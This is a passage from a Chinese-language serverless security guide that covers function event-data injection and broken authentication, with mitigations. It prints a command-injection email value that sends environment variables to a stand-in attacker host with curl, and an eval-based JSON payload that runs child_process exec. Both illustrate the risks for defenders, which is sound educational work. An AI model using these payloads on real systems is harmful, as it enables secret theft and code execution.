无服务器架构的十大风险

这本安全意识和教育指南由在应用程序安全、云和无服务器架构方面拥有丰富经验的顶级行业从业人员和安全研究人员策划和维护。在您的组织探索无服务器架构或朝这个方向迈出第一步时，请遵循这个基本指南，以便成功构建稳健、安全和可靠的应用程序。 在本文档中，我们列举了我们认为当前无服务器架构特有的首要风险。我们敦促所有组织采用我们的指南，并在设计、开发和测试无服务器应用程序的过程中参考这本指南，以最大限度地降低安全风险。我们将根据社区的意见以及对最常见的无服务器架构风险的最新研究和分析，定期维护和改进本指南。谨此提醒，请务必遵循安全软件设计和开发的最佳实践。 无服务器安全概述 无服务器架构（也称为功能即服务[FaaS]）使组织能够构建和部署软件和服务，而无需维护或配置任何物理或虚拟服务器。使用无服务器架构构建的应用程序适用于各种服务，并能随着云工作负载的增长而弹性扩展。 从软件开发的角度来看，采用无服务器架构的组织可以专注于核心产品功能，完全不考虑底层操作系统、应用服务器或软件运行环境。通过使用无服务器架构开发应用程序，您不再需要定期为底层操作系统和应用程序服务器应用安全补丁这一艰巨任务。现在，这些任务变成了无服务器架构提供商的责任。 无服务器架构的无服务器提供商必须确保数据中心、网络、服务器、操作系统及其配置的安全。但是，应用程序所有者必须确保应用程序逻辑、代码、数据和应用层配置仍然强大，能够抵御攻击。 无服务器架构的舒适和优雅并非没有缺点。无服务器架构引入了一系列新问题，您在确保此类应用程序安全时必须加以考虑： •更多攻击面：无服务器功能会使种各种事件源的数据（如HTTP API、消息队列、云存储和IoT设备通信）。这极大地增加了攻击面，尤其是当这些信息使用协议和复杂的信息结构时--其中许多是标准应用层保护措施（如网络应用防火墙）无法检查的。 •攻击面的复杂性：无服务器架构的攻击面对某些人来说可能难以理解，因为这类架构仍然相当新。许多软件开发人员和架构师尚未获得足够的经验来应对这类应用的安全风险和所需的安全防护措施。•系统整体复杂性：与标准软件环境相比，无服务器架构的可视化和监控仍然更为复杂。 •安全测试不足：对无服务器架构进行安全测试比测试标准应用程序更加复杂。当此类应用程序与远程第三方服务或后端云服务（如NoSQL数据库、云存储或流处理服务）交互时，情况尤其如此。此外，自动扫描工具目前还不适合扫描无服务器应用程序： ›动态应用程序安全测试(DAST)工具：这些工具仅提供对HTTP接口的测试覆盖，在测试从非HTTP来源获取输入或与后端云服务交互的无服务器应用程序时会带来问题。此外，许多DAST工具在有效测试不遵循经典HTML/HTTP请求/响应模型和请求格式的网络服务（如RESTful服务）方面存在问题。 ›静态应用程序安全测试(SAST)工具：这些工具依靠数据流分析、控制流和语义分析来检测软件中的漏洞。无服务器应用程序包含多个不同的功能，这些功能通过事件触发器和云服务（如消息队列、云存储或NoSQL数据库）拼接在一起。因此，在这种情况下静态分析数据流非常容易出现误报。此外，由于许多工具中的源/汇规则没有考虑FaaS结构，SAST工具还会产生漏报情况。这些规则集必须不断发展，以便为无服务器应用程序提供适当的支持。 ›交互式应用程序安全测试(IAST)工具：与DAST和SAST相比，这些工具更有可能准确检测出无服务器应用程序中的漏洞。与DAST工具类似，当无服务器应用程序使用非HTTP接口消耗输入时，IAST工具的安全覆盖范围也会受损。此外，一些IAST解决方案要求测试人员在本地计算机上部署仪器代理，这在无服务器环境中并不可行。 •传统安全保护（防火墙、WAF或IPS/IDS）：使用无服务器架构的组织无法访问物理（或虚拟）服务器或其操作系统。因此，他们无法随意部署传统的安全层，如端点保护、基于主机的入侵防御和网络应用防火墙。此外，现有的检测逻辑和规则还有待“转译”，以支持无服务器环境。 无服务器架构的十大安全风险 在深入了解本列表之前，我们建议您同时关注与安全软件设计和开发相关的其他行业标准。本指南中的数据和研究基于以下信息和数据来源： •人工审核GitHub和其他开源软件库中免费提供的无服务器项目。•使用Cortex®Cloud™团队开发的专有算法自动扫描无服务器项目的源代码。•数据由我们的合作伙伴提供。•数据和见解由个人贡献者和行业从业者提供。为便于参考，本指南中的每个类别都标有SAS-[NUM]形式的唯一标识符。 该清单按SAS-1至SAS-10的重要程度排列，其中SAS-1表示最重要的风险，SAS-10表示最不重要的风险。 SAS-1：函数事件数据注入 应用程序中的注入缺陷是迄今为止最常见的风险之一。它们在许多安全编码最佳实践指南和开放式全球应用安全项目(OWASP)的10大项目中都有详细记载。从高层次上讲，当未受信任的输入直接传递到解释器并最终被执行或评估时，就会出现注入缺陷。 在无服务器架构中，函数事件数据注入并不严格局限于直接的用户输入，例如来自网络API调用的输入。大多数无服务器架构都提供了大量的事件源，这些事件源可以触发无服务器功能的执行，例如以下示例： •云存储事件（如Amazon S3、Azure Blob Storage和Google Cloud Storage）•NoSQL数据库事件（如Amazon DynamoDB和Azure Cosmos DB）•SQL数据库事件•流处理事件（如Amazon Kinesis）•代码更改和新版本库代码提交•HTTP API调用•物联网(IoT)设备遥测信号•消息队列事件•短信通知、推送通知、电子邮件等 无服务器功能可以从各种类型的事件源中获取输入，而此类事件输入可能包括不同的消息格式，具体取决于事件类型及其来源。这些事件信息的各个部分可能包含攻击者控制的或其他危险输入的信息。这种丰富的事件源增加了潜在的攻击面，并在试图保护无服务器功能免受事件数据注入时引入了复杂性。这是因为无服务器架构不像Web环境那样为人所熟知，在Web环境中，开发人员知道哪些信息部分不可信，如GET/POST参数和HTTP头信息。 无服务器架构中最常见的注入缺陷类型包括： •操作系统命令注入•功能运行时代码注入（如Node.js或JavaScript、Python、Java、C#和Golang）•SQL注入•NoSQL注入•发布/订阅消息数据篡改（如MQTT数据注入）•对象反序列化攻击•XML外部实体(XXE)•服务器端请求伪造(SSRF) 将理论付诸实践：注入缺陷情景 例如，考虑一个通过短信接收指令的银行聊天机器人应用程序。通过聊天机器人，客户可以向自己的电子邮箱发送定期账户报表报告。一个用Python编写的专用AWS Lambda函数，负责收集位于/tmp目录中的报告文件，将它们打包成.tar格式，并发送到短信中提供的电子邮件地址。 Lambda函数开发人员假定用户会提供合法的电子邮件地址，因此不会对接收的短信或其中提供的电子邮件执行任何形式的正确性检查。电子邮件地址会直接嵌入文件名中，然后tar命令就会使用该文件名。 利用这一弱点，恶意用户可将shell命令作为电子邮件地址的一部分注入，并泄漏以下数据： foobar@some.site;env|curl-H“Content-Type:text/plain”-XPOST-d@-http://attacker.site/collector 该有效载荷会提取包括敏感数据在内的所有环境变量，并将它们作为HTTP POST请求的正文发送到攻击者的网站，并在那里进行收集。 当可信数据源成为攻击途径时 让我们来看看另一种注入漏洞。在此示例中，Amazon S3存储桶上的“Object Created (All)”事件（即s3:ObjectCreated:*）触发了一个Lambda函数。触发该函数后，它会获取上传文件的内容（其中包含一个JSON字符串），并将数据反序列化为一个对象。 反序列化过程是通过使用本地（尽管极不安全）eval()方法完成的。恶意用户可以通过向Amazon S3上传一个新文件来利用这个无服务器功能，该文件在JSON字符串中包含如下JavaScript代码： {“username”:”foobar”+require(‘child_process’).exec(‘uname-a’)} 一旦字符串被反序列化为对象，这些嵌入代码就会被执行。 缓解 •切勿相信输入信息或对其有效性做出假设。•始终使用安全API来对用户输入进行杀毒或验证，或者使用为底层基础结构提供绑定变量或参数化变量机制的API，例如在SQL查询的情况下使用存储过程或预处理语句。•在未对用户输入进行验证和杀毒之前，切勿将其直接传递给解释器。•确保您的代码始终以执行任务所需的最低权限运行。•如果在开发生命周期中应用威胁建模，则应考虑所有可能的事件类型和进入系统的入口。不要认为输入只能来自预期的事件触发器。•在适用的情况下，使用网络应用程序防火墙检查传入无服务器应用程序的HTTP/HTTPS流量。 注：请记住，应用层防火墙只能检查HTTP/HTTPS流量，不能对任何其他事件触发类型提供保护。 SAS-2：验证失败 由于无服务器架构推广面向微服务的系统，为这种架构设计的身份验证通常可以包含几十个甚至数百个不同的无服务器函数，每个函数都有其特定的目的。这些功能相互交织和协调，构成了整个系统的逻辑。一些无服务器功能可以公开Web API，而其他功能则可以作为进程或其他功能之间的内部粘合剂。此外，有些功能还可以消耗不同源类型的事件，如云存储事件、NoSQL数据库事件、IoT设备遥测信号或短信通知。 应用强大的身份验证方案，为所有相关功能、事件类型和触发器提供访问控制和保护，是一项复杂的工作，如果操作不慎，很容易出错。例如，设想一个无服务器应用程序公开了一组公开API，所有这些API都强制执行适当的身份验证。在系统的另一端，应用程序从云存储服务中读取文件，文件内容作为输入被用于某些无服务器功能。如果没有对云存储服务进行适当的身份验证，系统就会暴露出一个未经身份验证的流氓入口点，而这个入口点在系统设计时并没有考虑到。 薄弱的身份验证实施可能会使攻击者绕过应用程序逻辑并操纵其流程。这可能会执行本不应该暴露给未认证用户的功能和操作。 缓解 不要让开发人员建立自己的身份验证方案。相反，它们应使用无服务器环境或相关运行时提供的身份验证设施，如： •Amazon Cognito或AWS单点登录•Amazon API网关授权设施•Azure应用服务身份验证和授权•Google Firebase验证•IBM Cloud App-ID或SSO 在无法进行交互式用户身份验证的情况下（如API），开发人员应使用安全API密钥、安全断言标记语言(SAML)断言、客户端认证或类似的身份验证标准方法。 如果您正在构建一个使用发布/子消息传送遥测数据或空中固件更新的IoT生态系统，请遵循以下最佳实践： •通过加密通道（如TLS）传输发布/子信息。•需要额外的安全级别时，使用一次性密码。•根据您的发布/订阅消息代理功能，使用OAuth等机制来支持外部授权提供商。•对发布/订阅信息订阅进行适当授权。•如果证书管理不成问题，可考虑发放客户证书，并只接受来自有证书客户的连接。 此外，使用无服务器云提供商提供的持续安全健康检查设施来监控正确的权限，并根据企业安全政策对其进行评估。 如果您的组织使用AWS基础设施，请使用AWS配置规则来持续监控和评估您的环境是否符合公司安全政策和最佳实践，包括： •发现新部署的Lambda函数。•接收对现有Lambda函数所做更改的通知。•评估分配给Lambda函数的权限和角色（身份和访问管理[IAM]）。•发现新部署的Amazon S3存储桶或对现有存储桶所做的安全策略更改。•接收未加密存储